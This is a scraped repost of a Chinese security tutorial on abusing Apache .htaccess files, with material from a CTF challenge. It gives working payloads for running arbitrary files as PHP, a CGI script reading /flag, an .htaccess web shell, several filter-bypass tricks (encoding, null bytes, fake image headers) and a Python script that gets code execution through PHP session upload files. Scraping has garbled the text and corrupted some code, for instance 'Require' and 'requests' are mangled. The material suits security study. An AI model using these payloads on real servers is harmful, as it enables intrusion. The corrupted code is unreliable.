PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了.htaccess利用与Bypass方式总结大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

 @H_674_4@

前言

.htaccess文件是apache服务器的一种目录级别的修改配置的方式,可以用来配置当前目录及其所有子目录,常常被用于访问URL时重写路径;在此总结一下相关利用及bypass的方式@H_674_4@

测试环境:Ubuntu18.04+Apache2+PHP7.2@H_674_4@

/etc/apache2下有两个文件夹@H_34_23@mods-enable和@H_34_23@mods-available,其中@H_34_23@mods-enable里装的是apache已经被启用的模块,@H_34_23@mods-available里装的是当前系统可用的模块@H_674_4@

切换到@H_34_23@mods-enabled,查看PHP7.2.conf:@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

通过Filesmath匹配文件后缀,其认配置是当匹配到pharPHPphtml时,都将其作为PHP来执行,其中SetHandler就是设置解析方式@H_674_4@

例如在1.phar中写入<?=PHPinfo();:@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

 @H_674_4@

利用方式

1.SetHandler

(1)编辑.htaccess,@L_801_10@为:@H_674_4@

SetHandler application/x-httpd-PHP

此时当前目录及其子目录下所有文件都会被当做PHP解析@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

除此之外,可以将当前目录下文件都当做文本解析,这样便可获得文件源码:@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

(2)2020 de1ctf的checkin这道题目的官方wp中提到了这种和第(3)种方式@H_674_4@

编辑.htaccess,@L_801_10@为:@H_674_4@

SetHandler server-status

这种方式利用了apache的服务器状态信息(关闭),可以查看所有访问本站的记录(白嫖)@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

添加参数?refresh=5来实现每隔5s自动刷新@H_674_4@

(3)这种方法条件为apache加载了cgi_module,这里截的de1ctf checkin这道题目的PHPinfo:@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

编辑.htaccess,@L_801_10@为:@H_674_4@

Options +ExecCGI
AddHandler cgi-script .xx

编辑1.xx(注意格式比较严格)@H_674_4@

#! /bin/bash
echo Content-type: text/html
echo ""
cat /flag

可以成功执行最后的命令cat /flag@H_674_4@

当然,开启了fastcgi也是可以利用的,这里不列举了,可参@L_262_24@:@H_674_4@

https://www.freebuf.com/vuls/218495.html

2.AddType

AddType可以指示文件管理系统,对指定后缀文件以选定的文件类型解析@H_674_4@

编辑.htaccess,@L_801_10@为:@H_674_4@

AddType application/x-httpd-PHP .a

便会将以.a为后缀的文件解析为PHP@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

3.PHP_value

这种方式可通过PHP_value来配置PHP的配置选项;另外PHP_flag name on|off用来设定布尔值的配置指令@H_674_4@

查看配置可被设定的范围:@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

.htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

从上图可知,.htaccess可以使两种配置模式生效:PHP_INI_PREDIRPHP_INI_ALL@H_674_4@

可查看PHP.ini配置选项列表,从中寻找可利用的配置项@H_674_4@

(1)使用文件包含的两个相关配置@H_674_4@

  • auto_prepend_file:指定一个文件,在主文件解析之前自动解析
  • auto_append_file:指定一个文件,在主文件解析后自动解析
  • @H_502_229@

    编辑.htaccess,@L_801_10@为:@H_674_4@

    PHP_value auto_prepend_file websHell
    

    编辑websHell,@L_801_10@为:@H_674_4@

    <?=PHPinfo();
    

    此时随便一个PHP文件访问:@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    把.htaccess@L_801_10@改为下面的也是可以的:@H_674_4@

    PHP_value auto_append_file websHell
    

    由于通过设置这两个选项进行文件包含,那么便可使用相关的PHP协议流,如PHP://filter,可用来绕过对一些关键字的检测,下面Bypass部分会提到@H_674_4@

    (2)绕过preg_math的配置@H_674_4@

    查看官方文档中的相关配置:@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    编辑.htaccess:@H_674_4@

    PHP_value pcre.BACktrack_limit 0
    PHP_value pcre.jit 0
    

    测试:@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    4.其他

    (1)禁用拒绝规则,使.htaccess可访问@H_674_4@

    认情况下,.htaccess是不可访问的:@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    那么编辑.htaccess文件添加如下配置:@H_674_4@

    <Files ~ "^.ht">
    @R_618_10613@ire all granted
    Order allow,deny
    Allow from all
    </Files>
    

    测试:@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    (2)直接使用.htaccess sHell@H_674_4@

    如下面这个.htaccess文件,首先设置了禁用拒绝规则,这样便可直接访问到.htaccess;接着用SetHandler将所有文件作为PHP解析,最后写入PHP代码,开头用#注释掉,这样便可成功解析.htaccess,然后解析PHP:@H_674_4@

    <Files ~ "^.ht">
    @R_618_10613@ire all granted
    Order allow,deny
    Allow from all
    </Files>
    SetHandler application/x-httpd-PHP
    # <?PHP PHPinfo(); ?>
    

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    相关的关于.htaccess的sHell,可参github上一个项目:@H_674_4@

    https://github.com/wireghoul/htsHells
    

     @H_674_4@

    Bypass方式

    1.关键字检测

    方法1@H_674_4@

    如果过滤了.htaccess常用的关键字,此时可以使用反斜线来绕过对关键字的过滤,反斜线后需要加上换行符,并且反斜线前和关键字无空格@H_674_4@

    例如:@H_674_4@

    AddT
    ype application/x-httpd-PHP .abc
    

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    方法2@H_674_4@

    如果检测不能含有<?PHP字符串,那么此时可先将sHell字符串进行编码,然后在文件包含时通过PHP://filter解码:@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    @H_399_404@@H_674_4@@H_674_4@

    方法3@H_674_4@

    通过UTF-7、UTF-16等进行编码@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    编辑.htaccess:@H_674_4@

    AddType application/x-httpd-PHP .aaa
    PHP_flag zend.multibyte 1
    PHP_value zend.script_encoding "UTF-7"
    

    之后将后缀.aaa文件的@L_801_10@进行相应编码即可@H_674_4@

    2.拼接无用字符串

    方法1@H_674_4@

    可以使用#来注释掉后面拼接的多余@L_801_10@,#需要和前面的@L_801_10@隔一个空格,并且#只能注释一行@L_801_10@,可以使用反斜线来转义换行符,从而注释多行@L_801_10@@H_674_4@

    如下面这个.htaccess文件是可以生效的:@H_674_4@

    AddT
    ype application/x-httpd-PHP .abc #
    asdf 
    asdf
    

    方法2@H_674_4@

    除了#外,0x00也可以当注释符,使用write.PHP脚本写入.htaccess:@H_674_4@

    <?PHP
    $data = urldecode('AddType application/x-httpd-PHP .abc%0a%00asdf');
    file_put_contents('.htaccess', $data);
    

    测试:@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    3.文件格式检测

    如果使用exif_imagetype检测上传文件的第一个字节来判断文件类型,那么只要是图像格式以#0x00开头便可绕过@H_674_4@

    方法1@H_674_4@

    使用XBM图像,使用PHP生成图像(需安装GD库):@H_674_4@

    <?PHP
    // 创建空白图像并添加文字
    $im = imagecreatetruecolor(120, 20);
    $text_color = imagecolorallocate($im, 233, 14, 91);
    imageString($im, 1, 5, 5,  'A Simple Text String', $text_color);
    // 保存图像
    imagexbm($im, '1.png');
    // 释放内存
    imagedestroy($im);
    ?>
    

    (下面的1_png_width以及1_png_height是根据文件名@R_944_10888@生成的)@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    那么可以在.htaccess前面加上:@H_674_4@

    #define 1_png_width 120
    #define 1_png_height 20
    

    便可绕过对文件格式的检测@H_674_4@

    方法2@H_674_4@

    使用WBMP图像,使用PHP生成图像:@H_674_4@

    <?PHP
    $img = imagecreatetruecolor(20, 20);
    imagewbmp($img, '1.wbmp');
    ?>
    

    使用16进制编辑器查看:@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    可以看到这种图像格式是以0x00开头的,那么便可以此方式绕过对文件格式的检测@H_674_4@

    4.其他字符限制

    若过滤了<、数字、:等,此时便不能使用PHP://filter或者UTF编码的方式绕过了;可尝试利用.htaccess设置包含指定的文件。例如对于session文件,可通过包含上传文件产生的临时session进行RCE@H_674_4@

    查看配置文件,发现大部分session相关的配置都是可以通过.htaccess修改的:@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    那么我们可以在不知道session存储路径的情况下,通过session.save_path指定存储路径,并且可以将session.upload_progress.cleanup设置为off,这样便可无需条件竞争来将代码写到session文件中,从而包含rce;编辑.htaccess:@H_674_4@

    PHP_value auto_append_file "/tmp/sess_gtfly"
    PHP_value session.save_path "/tmp"
    PHP_flag session.upload_progress.cleanup off
    

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

    然后运行@H_674_4@

    import @R_618_10613@ests
    url='http://127.0.0.1/test.PHP'
    headers={
    "Cookie":'PHPSESSID=gtfly'
    }
    files={
    "upload":''
    }
    data={
    "PHP_SESSION_UPLOAD_PROGRESS": '''<?PHP echo system('whoami'); ?>'''
    }
    r = @R_618_10613@ests.session()
    r.post(url,files=files,headers=headers,data=data)
    t = r.get('http://127.0.0.1/test.PHP',headers=headers)
    print(t.text)
    

    成功执行:@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@

    .htaccess利用与Bypass方式总结@H_674_4@@H_674_4@@H_674_4@

     @H_674_4@

    小结

    从以上利用姿势可以看出,如果网站根目录中的.htaccess@L_801_10@可控并且能够被解析,那么便很可能产生威胁,因此网站建设时需要多多留意这点~@H_674_4@

    本文由安全客原创发布转载,请参转载声明,注明出处: https://www.anquanke.com/post/id/205098@H_674_4@

大佬总结

以上是大佬教程为你收集整理的.htaccess利用与Bypass方式总结全部内容,希望文章能够帮你解决.htaccess利用与Bypass方式总结所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: